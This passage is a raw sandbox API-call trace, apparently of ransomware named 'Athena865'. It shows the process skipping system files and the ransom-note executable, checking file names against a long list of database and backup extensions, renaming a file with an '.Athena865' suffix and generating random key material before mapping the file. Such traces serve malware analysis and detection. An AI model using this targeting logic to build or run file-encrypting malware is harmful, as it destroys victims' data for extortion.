returned 1 [0052.409] lstrcmpiW (lpString1="e6cYm8Uwe6cjU7.lnk", lpString2="..") returned 1 [0052.409] lstrcmpiW (lpString1="e6cYm8Uwe6cjU7.lnk", lpString2="windows") returned -1 [0052.409] lstrcmpiW (lpString1="e6cYm8Uwe6cjU7.lnk", lpString2="bootmgr") returned 1 [0052.409] lstrcmpiW (lpString1="e6cYm8Uwe6cjU7.lnk", lpString2="temp") returned -1 [0052.409] lstrcmpiW (lpString1="e6cYm8Uwe6cjU7.lnk", lpString2="pagefile.sys") returned -1 [0052.409] lstrcmpiW (lpString1="e6cYm8Uwe6cjU7.lnk", lpString2="boot") returned 1 [0052.409] lstrcmpiW (lpString1="e6cYm8Uwe6cjU7.lnk", lpString2="ids.txt") returned -1 [0052.409] lstrcmpiW (lpString1="e6cYm8Uwe6cjU7.lnk", lpString2="ntuser.dat") returned -1 [0052.409] lstrcmpiW (lpString1="e6cYm8Uwe6cjU7.lnk", lpString2="perflogs") returned -1 [0052.410] lstrcmpiW (lpString1="e6cYm8Uwe6cjU7.lnk", lpString2="MSBuild") returned -1 [0052.410] lstrlenW (lpString="e6cYm8Uwe6cjU7.lnk") returned 18 [0052.410] lstrcpyW (in: lpString1=0x241e8b4, lpString2="e6cYm8Uwe6cjU7.lnk" | out: lpString1="e6cYm8Uwe6cjU7.lnk") returned="e6cYm8Uwe6cjU7.lnk" [0052.410] lstrlenW (lpString="e6cYm8Uwe6cjU7.lnk") returned 18 [0052.410] lstrlenW (lpString="Athena865") returned 9 [0052.410] lstrcmpiW (lpString1="6cjU7.lnk", lpString2="Athena865") returned -1 [0052.410] lstrlenW (lpString=".dll") returned 4 [0052.410] lstrcmpiW (lpString1="e6cYm8Uwe6cjU7.lnk", lpString2=".dll") returned 1 [0052.410] lstrlenW (lpString=".lnk") returned 4 [0052.410] lstrcmpiW (lpString1="e6cYm8Uwe6cjU7.lnk", lpString2=".lnk") returned 1 [0052.410] lstrlenW (lpString=".ini") returned 4 [0052.410] lstrcmpiW (lpString1="e6cYm8Uwe6cjU7.lnk", lpString2=".ini") returned 1 [0052.410] lstrlenW (lpString=".sys") returned 4 [0052.410] lstrcmpiW (lpString1="e6cYm8Uwe6cjU7.lnk", lpString2=".sys") returned 1 [0052.410] lstrlenW (lpString="e6cYm8Uwe6cjU7.lnk") returned 18 [0052.410] lstrlenW (lpString="bak") returned 3 [0052.410] lstrcmpiW (lpString1="lnk", lpString2="bak") returned 1 [0052.410] lstrlenW (lpString="ba_") returned 3 [0052.410] lstrcmpiW (lpString1="lnk", lpString2="ba_") returned 1 [0052.410] lstrlenW (lpString="dbb") returned 3 [0052.410] lstrcmpiW (lpString1="lnk", lpString2="dbb") returned 1 [0052.410] lstrlenW (lpString="vmdk") returned 4 [0052.410] lstrcmpiW (lpString1=".lnk", lpString2="vmdk") returned -1 [0052.410] lstrlenW (lpString="rar") returned 3 [0052.410] lstrcmpiW (lpString1="lnk", lpString2="rar") returned -1 [0052.410] lstrlenW (lpString="zip") returned 3 [0052.410] lstrcmpiW (lpString1="lnk", lpString2="zip") returned -1 [0052.410] lstrlenW (lpString="tgz") returned 3 [0052.410] lstrcmpiW (lpString1="lnk", lpString2="tgz") returned -1 [0052.410] lstrlenW (lpString="vbox") returned 4 [0052.410] lstrcmpiW (lpString1=".lnk", lpString2="vbox") returned -1 [0052.410] lstrlenW (lpString="vdi") returned 3 [0052.410] lstrcmpiW (lpString1="lnk", lpString2="vdi") returned -1 [0052.410] lstrlenW (lpString="vhd") returned 3 [0052.410] lstrcmpiW (lpString1="lnk", lpString2="vhd") returned -1 [0052.411] lstrlenW (lpString="vhdx") returned 4 [0052.411] lstrcmpiW (lpString1=".lnk", lpString2="vhdx") returned -1 [0052.411] lstrlenW (lpString="avhd") returned 4 [0052.411] lstrcmpiW (lpString1=".lnk", lpString2="avhd") returned -1 [0052.411] lstrlenW (lpString="db") returned 2 [0052.411] lstrcmpiW (lpString1="nk", lpString2="db") returned 1 [0052.411] lstrlenW (lpString="db2") returned 3 [0052.411] lstrcmpiW (lpString1="lnk", lpString2="db2") returned 1 [0052.411] lstrlenW (lpString="db3") returned 3 [0052.411] lstrcmpiW (lpString1="lnk", lpString2="db3") returned 1 [0052.411] lstrlenW (lpString="dbf") returned 3 [0052.411] lstrcmpiW (lpString1="lnk", lpString2="dbf") returned 1 [0052.411] lstrlenW (lpString="mdf") returned 3 [0052.411] lstrcmpiW (lpString1="lnk", lpString2="mdf") returned -1 [0052.411] lstrlenW (lpString="mdb") returned 3 [0052.411] lstrcmpiW (lpString1="lnk", lpString2="mdb") returned -1 [0052.411] lstrlenW (lpString="sql") returned 3 [0052.411] lstrcmpiW (lpString1="lnk", lpString2="sql") returned -1 [0052.411] lstrlenW (lpString="sqlite") returned 6 [0052.411] lstrcmpiW (lpString1="U7.lnk", lpString2="sqlite") returned 1 [0052.411] lstrlenW (lpString="sqlite3") returned 7 [0052.411] lstrcmpiW (lpString1="jU7.lnk", lpString2="sqlite3") returned -1 [0052.411] lstrlenW (lpString="sqlitedb") returned 8 [0052.411] lstrcmpiW (lpString1="cjU7.lnk", lpString2="sqlitedb") returned -1 [0052.411] lstrlenW (lpString="xml") returned 3 [0052.411] lstrcmpiW (lpString1="lnk", lpString2="xml") returned -1 [0052.411] lstrlenW (lpString="$er") returned 3 [0052.411] lstrcmpiW (lpString1="lnk", lpString2="$er") returned 1 [0052.411] lstrlenW (lpString="4dd") returned 3 [0052.411] lstrcmpiW (lpString1="lnk", lpString2="4dd") returned 1 [0052.411] lstrlenW (lpString="4dl") returned 3 [0052.411] lstrcmpiW (lpString1="lnk", lpString2="4dl") returned 1 [0052.411] lstrlenW (lpString="^^^") returned 3 [0052.411] lstrcmpiW (lpString1="lnk", lpString2="^^^") returned 1 [0052.411] lstrlenW (lpString="abs") returned 3 [0052.412] lstrcmpiW (lpString1="lnk", lpString2="abs") returned 1 [0052.412] lstrlenW (lpString="abx") returned 3 [0052.412] lstrcmpiW (lpString1="lnk", lpString2="abx") returned 1 [0052.412] lstrlenW (lpString="accdb") returned 5 [0052.412] lstrcmpiW (lpString1="7.lnk", lpString2="accdb") returned -1 [0052.412] lstrlenW (lpString="accdc") returned 5 [0052.412] lstrcmpiW (lpString1="7.lnk", lpString2="accdc") returned -1 [0052.412] lstrlenW (lpString="accde") returned 5 [0052.412] lstrcmpiW (lpString1="7.lnk", lpString2="accde") returned -1 [0052.412] lstrlenW (lpString="accdr") returned 5 [0052.412] lstrcmpiW (lpString1="7.lnk", lpString2="accdr") returned -1 [0052.412] lstrlenW (lpString="accdt") returned 5 [0052.412] lstrcmpiW (lpString1="7.lnk", lpString2="accdt") returned -1 [0052.412] lstrlenW (lpString="accdw") returned 5 [0052.412] lstrcmpiW (lpString1="7.lnk", lpString2="accdw") returned -1 [0052.412] lstrlenW (lpString="accft") returned 5 [0052.412] lstrcmpiW (lpString1="7.lnk", lpString2="accft") returned -1 [0052.412] lstrlenW (lpString="adb") returned 3 [0052.412] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0052.412] lstrlenW (lpString="adb") returned 3 [0052.412] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0052.412] lstrlenW (lpString="ade") returned 3 [0052.412] lstrcmpiW (lpString1="lnk", lpString2="ade") returned 1 [0052.412] lstrlenW (lpString="adf") returned 3 [0052.412] lstrcmpiW (lpString1="lnk", lpString2="adf") returned 1 [0052.412] lstrlenW (lpString="adn") returned 3 [0052.412] lstrcmpiW (lpString1="lnk", lpString2="adn") returned 1 [0052.412] lstrlenW (lpString="adp") returned 3 [0052.412] lstrcmpiW (lpString1="lnk", lpString2="adp") returned 1 [0052.412] lstrlenW (lpString="alf") returned 3 [0052.412] lstrcmpiW (lpString1="lnk", lpString2="alf") returned 1 [0052.412] lstrlenW (lpString="ask") returned 3 [0052.412] lstrcmpiW (lpString1="lnk", lpString2="ask") returned 1 [0052.412] lstrlenW (lpString="btr") returned 3 [0052.412] lstrcmpiW (lpString1="lnk", lpString2="btr") returned 1 [0052.412] lstrlenW (lpString="cat") returned 3 [0052.413] lstrcmpiW (lpString1="lnk", lpString2="cat") returned 1 [0052.413] lstrlenW (lpString="cdb") returned 3 [0052.413] lstrcmpiW (lpString1="lnk", lpString2="cdb") returned 1 [0052.413] lstrlenW (lpString="ckp") returned 3 [0052.413] lstrcmpiW (lpString1="lnk", lpString2="ckp") returned 1 [0052.413] lstrlenW (lpString="cma") returned 3 [0052.413] lstrcmpiW (lpString1="lnk", lpString2="cma") returned 1 [0052.413] lstrlenW (lpString="cpd") returned 3 [0052.413] lstrcmpiW (lpString1="lnk", lpString2="cpd") returned 1 [0052.413] lstrlenW (lpString="dacpac") returned 6 [0052.413] lstrcmpiW (lpString1="U7.lnk", lpString2="dacpac") returned 1 [0052.413] lstrlenW (lpString="dad") returned 3 [0052.413] lstrcmpiW (lpString1="lnk", lpString2="dad") returned 1 [0052.413] lstrlenW (lpString="dadiagrams") returned 10 [0052.413] lstrcmpiW (lpString1="e6cjU7.lnk", lpString2="dadiagrams") returned 1 [0052.413] lstrlenW (lpString="daschema") returned 8 [0052.413] lstrcmpiW (lpString1="cjU7.lnk", lpString2="daschema") returned -1 [0052.413] lstrlenW (lpString="db-journal") returned 10 [0052.413] lstrcmpiW (lpString1="e6cjU7.lnk", lpString2="db-journal") returned 1 [0052.413] lstrlenW (lpString="db-shm") returned 6 [0052.413] lstrcmpiW (lpString1="U7.lnk", lpString2="db-shm") returned 1 [0052.413] lstrlenW (lpString="db-wal") returned 6 [0052.413] lstrcmpiW (lpString1="U7.lnk", lpString2="db-wal") returned 1 [0052.413] lstrlenW (lpString="dbc") returned 3 [0052.413] lstrcmpiW (lpString1="lnk", lpString2="dbc") returned 1 [0052.413] lstrlenW (lpString="dbs") returned 3 [0052.413] lstrcmpiW (lpString1="lnk", lpString2="dbs") returned 1 [0052.413] lstrlenW (lpString="dbt") returned 3 [0052.413] lstrcmpiW (lpString1="lnk", lpString2="dbt") returned 1 [0052.413] lstrlenW (lpString="dbv") returned 3 [0052.413] lstrcmpiW (lpString1="lnk", lpString2="dbv") returned 1 [0052.413] lstrlenW (lpString="dbx") returned 3 [0052.413] lstrcmpiW (lpString1="lnk", lpString2="dbx") returned 1 [0052.413] lstrlenW (lpString="dcb") returned 3 [0052.413] lstrcmpiW (lpString1="lnk", lpString2="dcb") returned 1 [0052.414] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\e6cYm8Uwe6cjU7.lnk.Athena865") returned 82 [0052.414] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\e6cYm8Uwe6cjU7.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\e6cym8uwe6cju7.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\e6cYm8Uwe6cjU7.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\e6cym8uwe6cju7.lnk.athena865"), dwFlags=0x1) returned 1 [0052.415] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\e6cYm8Uwe6cjU7.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\e6cym8uwe6cju7.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.415] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3553) returned 1 [0052.415] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.415] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.415] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.415] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.416] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.416] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.416] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10f0, lpName=0x0) returned 0x154 [0052.416] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x10f0) returned 0x100000 [0052.417] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.417] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.417] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.418] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.418] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0052.418] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52aba0 [0052.418] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0052.418] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0052.418] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0052.418] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52aba0 [0052.419] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0052.420] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0052.420] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0052.421] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0052.421] CloseHandle (hObject=0x154) returned 1 [0052.421] CloseHandle (hObject=0x17c) returned 1 [0052.422] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0052.422] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0052.422] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0052.422] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaef466c0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xaef466c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xaef466c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x3d5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EK5SC.lnk", cAlternateFileName="")) returned 1 [0052.422] lstrcmpiW (lpString1="EK5SC.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0052.422] lstrcmpiW (lpString1="EK5SC.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0052.422] lstrcmpiW (lpString1="EK5SC.lnk", lpString2=".") returned 1 [0052.422] lstrcmpiW (lpString1="EK5SC.lnk", lpString2="..") returned 1 [0052.422] lstrcmpiW (lpString1="EK5SC.lnk", lpString2="windows") returned -1 [0052.423] lstrcmpiW (lpString1="EK5SC.lnk", lpString2="bootmgr") returned 1 [0052.423] lstrcmpiW (lpString1="EK5SC.lnk", lpString2="temp") returned -1 [0052.423] lstrcmpiW (lpString1="EK5SC.lnk", lpString2="pagefile.sys") returned -1 [0052.423] lstrcmpiW (lpString1="EK5SC.lnk", lpString2="boot") returned 1 [0052.423] lstrcmpiW (lpString1="EK5SC.lnk", lpString2="ids.txt") returned -1 [0052.423] lstrcmpiW (lpString1="EK5SC.lnk", lpString2="ntuser.dat") returned -1 [0052.423] lstrcmpiW (lpString1="EK5SC.lnk", lpString2="perflogs") returned -1 [0052.423] lstrcmpiW (lpString1="EK5SC.lnk", lpString2="MSBuild") returned -1 [0052.423] lstrlenW (lpString="EK5SC.lnk") returned 9 [0052.423] lstrcpyW (in: lpString1=0x241e8b4, lpString2="EK5SC.lnk" | out: lpString1="EK5SC.lnk") returned="EK5SC.lnk" [0052.423] lstrlenW (lpString="EK5SC.lnk") returned 9 [0052.423] lstrlenW (lpString="Athena865") returned 9 [0052.423] lstrlenW (lpString=".dll") returned 4 [0052.423] lstrcmpiW (lpString1="EK5SC.lnk", lpString2=".dll") returned 1 [0052.423] lstrlenW (lpString=".lnk") returned 4 [0052.423] lstrcmpiW (lpString1="EK5SC.lnk", lpString2=".lnk") returned 1 [0052.423] lstrlenW (lpString=".ini") returned 4 [0052.423] lstrcmpiW (lpString1="EK5SC.lnk", lpString2=".ini") returned 1 [0052.423] lstrlenW (lpString=".sys") returned 4 [0052.423] lstrcmpiW (lpString1="EK5SC.lnk", lpString2=".sys") returned 1 [0052.423] lstrlenW (lpString="EK5SC.lnk") returned 9 [0052.423] lstrlenW (lpString="bak") returned 3 [0052.423] lstrcmpiW (lpString1="lnk", lpString2="bak") returned 1 [0052.423] lstrlenW (lpString="ba_") returned 3 [0052.423] lstrcmpiW (lpString1="lnk", lpString2="ba_") returned 1 [0052.423] lstrlenW (lpString="dbb") returned 3 [0052.423] lstrcmpiW (lpString1="lnk", lpString2="dbb") returned 1 [0052.423] lstrlenW (lpString="vmdk") returned 4 [0052.423] lstrcmpiW (lpString1=".lnk", lpString2="vmdk") returned -1 [0052.423] lstrlenW (lpString="rar") returned 3 [0052.423] lstrcmpiW (lpString1="lnk", lpString2="rar") returned -1 [0052.423] lstrlenW (lpString="zip") returned 3 [0052.423] lstrcmpiW (lpString1="lnk", lpString2="zip") returned -1 [0052.424] lstrlenW (lpString="tgz") returned 3 [0052.424] lstrcmpiW (lpString1="lnk", lpString2="tgz") returned -1 [0052.424] lstrlenW (lpString="vbox") returned 4 [0052.424] lstrcmpiW (lpString1=".lnk", lpString2="vbox") returned -1 [0052.424] lstrlenW (lpString="vdi") returned 3 [0052.424] lstrcmpiW (lpString1="lnk", lpString2="vdi") returned -1 [0052.424] lstrlenW (lpString="vhd") returned 3 [0052.424] lstrcmpiW (lpString1="lnk", lpString2="vhd") returned -1 [0052.424] lstrlenW (lpString="vhdx") returned 4 [0052.424] lstrcmpiW (lpString1=".lnk", lpString2="vhdx") returned -1 [0052.424] lstrlenW (lpString="avhd") returned 4 [0052.424] lstrcmpiW (lpString1=".lnk", lpString2="avhd") returned -1 [0052.424] lstrlenW (lpString="db") returned 2 [0052.424] lstrcmpiW (lpString1="nk", lpString2="db") returned 1 [0052.424] lstrlenW (lpString="db2") returned 3 [0052.424] lstrcmpiW (lpString1="lnk", lpString2="db2") returned 1 [0052.424] lstrlenW (lpString="db3") returned 3 [0052.424] lstrcmpiW (lpString1="lnk", lpString2="db3") returned 1 [0052.424] lstrlenW (lpString="dbf") returned 3 [0052.424] lstrcmpiW (lpString1="lnk", lpString2="dbf") returned 1 [0052.424] lstrlenW (lpString="mdf") returned 3 [0052.424] lstrcmpiW (lpString1="lnk", lpString2="mdf") returned -1 [0052.424] lstrlenW (lpString="mdb") returned 3 [0052.424] lstrcmpiW (lpString1="lnk", lpString2="mdb") returned -1 [0052.424] lstrlenW (lpString="sql") returned 3 [0052.424] lstrcmpiW (lpString1="lnk", lpString2="sql") returned -1 [0052.424] lstrlenW (lpString="sqlite") returned 6 [0052.424] lstrcmpiW (lpString1="SC.lnk", lpString2="sqlite") returned -1 [0052.424] lstrlenW (lpString="sqlite3") returned 7 [0052.424] lstrcmpiW (lpString1="5SC.lnk", lpString2="sqlite3") returned -1 [0052.424] lstrlenW (lpString="sqlitedb") returned 8 [0052.424] lstrcmpiW (lpString1="K5SC.lnk", lpString2="sqlitedb") returned -1 [0052.424] lstrlenW (lpString="xml") returned 3 [0052.424] lstrcmpiW (lpString1="lnk", lpString2="xml") returned -1 [0052.425] lstrlenW (lpString="$er") returned 3 [0052.425] lstrcmpiW (lpString1="lnk", lpString2="$er") returned 1 [0052.425] lstrlenW (lpString="4dd") returned 3 [0052.425] lstrcmpiW (lpString1="lnk", lpString2="4dd") returned 1 [0052.425] lstrlenW (lpString="4dl") returned 3 [0052.425] lstrcmpiW (lpString1="lnk", lpString2="4dl") returned 1 [0052.425] lstrlenW (lpString="^^^") returned 3 [0052.425] lstrcmpiW (lpString1="lnk", lpString2="^^^") returned 1 [0052.425] lstrlenW (lpString="abs") returned 3 [0052.425] lstrcmpiW (lpString1="lnk", lpString2="abs") returned 1 [0052.425] lstrlenW (lpString="abx") returned 3 [0052.425] lstrcmpiW (lpString1="lnk", lpString2="abx") returned 1 [0052.425] lstrlenW (lpString="accdb") returned 5 [0052.425] lstrcmpiW (lpString1="C.lnk", lpString2="accdb") returned 1 [0052.425] lstrlenW (lpString="accdc") returned 5 [0052.425] lstrcmpiW (lpString1="C.lnk", lpString2="accdc") returned 1 [0052.425] lstrlenW (lpString="accde") returned 5 [0052.425] lstrcmpiW (lpString1="C.lnk", lpString2="accde") returned 1 [0052.425] lstrlenW (lpString="accdr") returned 5 [0052.425] lstrcmpiW (lpString1="C.lnk", lpString2="accdr") returned 1 [0052.425] lstrlenW (lpString="accdt") returned 5 [0052.425] lstrcmpiW (lpString1="C.lnk", lpString2="accdt") returned 1 [0052.425] lstrlenW (lpString="accdw") returned 5 [0052.425] lstrcmpiW (lpString1="C.lnk", lpString2="accdw") returned 1 [0052.425] lstrlenW (lpString="accft") returned 5 [0052.425] lstrcmpiW (lpString1="C.lnk", lpString2="accft") returned 1 [0052.425] lstrlenW (lpString="adb") returned 3 [0052.425] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0052.425] lstrlenW (lpString="adb") returned 3 [0052.425] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0052.425] lstrlenW (lpString="ade") returned 3 [0052.425] lstrcmpiW (lpString1="lnk", lpString2="ade") returned 1 [0052.425] lstrlenW (lpString="adf") returned 3 [0052.425] lstrcmpiW (lpString1="lnk", lpString2="adf") returned 1 [0052.426] lstrlenW (lpString="adn") returned 3 [0052.426] lstrcmpiW (lpString1="lnk", lpString2="adn") returned 1 [0052.426] lstrlenW (lpString="adp") returned 3 [0052.426] lstrcmpiW (lpString1="lnk", lpString2="adp") returned 1 [0052.426] lstrlenW (lpString="alf") returned 3 [0052.426] lstrcmpiW (lpString1="lnk", lpString2="alf") returned 1 [0052.426] lstrlenW (lpString="ask") returned 3 [0052.426] lstrcmpiW (lpString1="lnk", lpString2="ask") returned 1 [0052.426] lstrlenW (lpString="btr") returned 3 [0052.426] lstrcmpiW (lpString1="lnk", lpString2="btr") returned 1 [0052.426] lstrlenW (lpString="cat") returned 3 [0052.426] lstrcmpiW (lpString1="lnk", lpString2="cat") returned 1 [0052.426] lstrlenW (lpString="cdb") returned 3 [0052.426] lstrcmpiW (lpString1="lnk", lpString2="cdb") returned 1 [0052.426] lstrlenW (lpString="ckp") returned 3 [0052.426] lstrcmpiW (lpString1="lnk", lpString2="ckp") returned 1 [0052.426] lstrlenW (lpString="cma") returned 3 [0052.426] lstrcmpiW (lpString1="lnk", lpString2="cma") returned 1 [0052.426] lstrlenW (lpString="cpd") returned 3 [0052.426] lstrcmpiW (lpString1="lnk", lpString2="cpd") returned 1 [0052.426] lstrlenW (lpString="dacpac") returned 6 [0052.426] lstrcmpiW (lpString1="SC.lnk", lpString2="dacpac") returned 1 [0052.426] lstrlenW (lpString="dad") returned 3 [0052.426] lstrcmpiW (lpString1="lnk", lpString2="dad") returned 1 [0052.426] lstrlenW (lpString="dadiagrams") returned 10 [0052.426] lstrlenW (lpString="daschema") returned 8 [0052.426] lstrcmpiW (lpString1="K5SC.lnk", lpString2="daschema") returned 1 [0052.426] lstrlenW (lpString="db-journal") returned 10 [0052.426] lstrlenW (lpString="db-shm") returned 6 [0052.426] lstrcmpiW (lpString1="SC.lnk", lpString2="db-shm") returned 1 [0052.426] lstrlenW (lpString="db-wal") returned 6 [0052.426] lstrcmpiW (lpString1="SC.lnk", lpString2="db-wal") returned 1 [0052.426] lstrlenW (lpString="dbc") returned 3 [0052.427] lstrcmpiW (lpString1="lnk", lpString2="dbc") returned 1 [0052.427] lstrlenW (lpString="dbs") returned 3 [0052.427] lstrcmpiW (lpString1="lnk", lpString2="dbs") returned 1 [0052.427] lstrlenW (lpString="dbt") returned 3 [0052.427] lstrcmpiW (lpString1="lnk", lpString2="dbt") returned 1 [0052.427] lstrlenW (lpString="dbv") returned 3 [0052.427] lstrcmpiW (lpString1="lnk", lpString2="dbv") returned 1 [0052.427] lstrlenW (lpString="dbx") returned 3 [0052.427] lstrcmpiW (lpString1="lnk", lpString2="dbx") returned 1 [0052.427] lstrlenW (lpString="dcb") returned 3 [0052.427] lstrcmpiW (lpString1="lnk", lpString2="dcb") returned 1 [0052.427] lstrlenW (lpString="dct") returned 3 [0052.427] lstrcmpiW (lpString1="lnk", lpString2="dct") returned 1 [0052.427] lstrlenW (lpString="dcx") returned 3 [0052.427] lstrcmpiW (lpString1="lnk", lpString2="dcx") returned 1 [0052.427] lstrlenW (lpString="ddl") returned 3 [0052.427] lstrcmpiW (lpString1="lnk", lpString2="ddl") returned 1 [0052.427] lstrlenW (lpString="dlis") returned 4 [0052.427] lstrcmpiW (lpString1=".lnk", lpString2="dlis") returned -1 [0052.427] lstrlenW (lpString="dp1") returned 3 [0052.427] lstrcmpiW (lpString1="lnk", lpString2="dp1") returned 1 [0052.427] lstrlenW (lpString="dqy") returned 3 [0052.427] lstrcmpiW (lpString1="lnk", lpString2="dqy") returned 1 [0052.427] lstrlenW (lpString="dsk") returned 3 [0052.427] lstrcmpiW (lpString1="lnk", lpString2="dsk") returned 1 [0052.427] lstrlenW (lpString="dsn") returned 3 [0052.427] lstrcmpiW (lpString1="lnk", lpString2="dsn") returned 1 [0052.427] lstrlenW (lpString="dtsx") returned 4 [0052.427] lstrcmpiW (lpString1=".lnk", lpString2="dtsx") returned -1 [0052.427] lstrlenW (lpString="dxl") returned 3 [0052.427] lstrcmpiW (lpString1="lnk", lpString2="dxl") returned 1 [0052.427] lstrlenW (lpString="eco") returned 3 [0052.427] lstrcmpiW (lpString1="lnk", lpString2="eco") returned 1 [0052.428] lstrlenW (lpString="ecx") returned 3 [0052.428] lstrcmpiW (lpString1="lnk", lpString2="ecx") returned 1 [0052.428] lstrlenW (lpString="edb") returned 3 [0052.428] lstrcmpiW (lpString1="lnk", lpString2="edb") returned 1 [0052.428] lstrlenW (lpString="epim") returned 4 [0052.428] lstrcmpiW (lpString1=".lnk", lpString2="epim") returned -1 [0052.428] lstrlenW (lpString="fcd") returned 3 [0052.428] lstrcmpiW (lpString1="lnk", lpString2="fcd") returned 1 [0052.428] lstrlenW (lpString="fdb") returned 3 [0052.428] lstrcmpiW (lpString1="lnk", lpString2="fdb") returned 1 [0052.428] lstrlenW (lpString="fic") returned 3 [0052.428] lstrcmpiW (lpString1="lnk", lpString2="fic") returned 1 [0052.428] lstrlenW (lpString="flexolibrary") returned 12 [0052.428] lstrlenW (lpString="fm5") returned 3 [0052.428] lstrcmpiW (lpString1="lnk", lpString2="fm5") returned 1 [0052.428] lstrlenW (lpString="fmp") returned 3 [0052.428] lstrcmpiW (lpString1="lnk", lpString2="fmp") returned 1 [0052.428] lstrlenW (lpString="fmp12") returned 5 [0052.428] lstrcmpiW (lpString1="C.lnk", lpString2="fmp12") returned -1 [0052.428] lstrlenW (lpString="fmpsl") returned 5 [0052.428] lstrcmpiW (lpString1="C.lnk", lpString2="fmpsl") returned -1 [0052.428] lstrlenW (lpString="fol") returned 3 [0052.428] lstrcmpiW (lpString1="lnk", lpString2="fol") returned 1 [0052.428] lstrlenW (lpString="fp3") returned 3 [0052.428] lstrcmpiW (lpString1="lnk", lpString2="fp3") returned 1 [0052.428] lstrlenW (lpString="fp4") returned 3 [0052.428] lstrcmpiW (lpString1="lnk", lpString2="fp4") returned 1 [0052.428] lstrlenW (lpString="fp5") returned 3 [0052.428] lstrcmpiW (lpString1="lnk", lpString2="fp5") returned 1 [0052.428] lstrlenW (lpString="fp7") returned 3 [0052.428] lstrcmpiW (lpString1="lnk", lpString2="fp7") returned 1 [0052.428] lstrlenW (lpString="fpt") returned 3 [0052.428] lstrcmpiW (lpString1="lnk", lpString2="fpt") returned 1 [0052.429] lstrlenW (lpString="frm") returned 3 [0052.429] lstrcmpiW (lpString1="lnk", lpString2="frm") returned 1 [0052.429] lstrlenW (lpString="gdb") returned 3 [0052.429] lstrcmpiW (lpString1="lnk", lpString2="gdb") returned 1 [0052.429] lstrlenW (lpString="gdb") returned 3 [0052.429] lstrcmpiW (lpString1="lnk", lpString2="gdb") returned 1 [0052.429] lstrlenW (lpString="grdb") returned 4 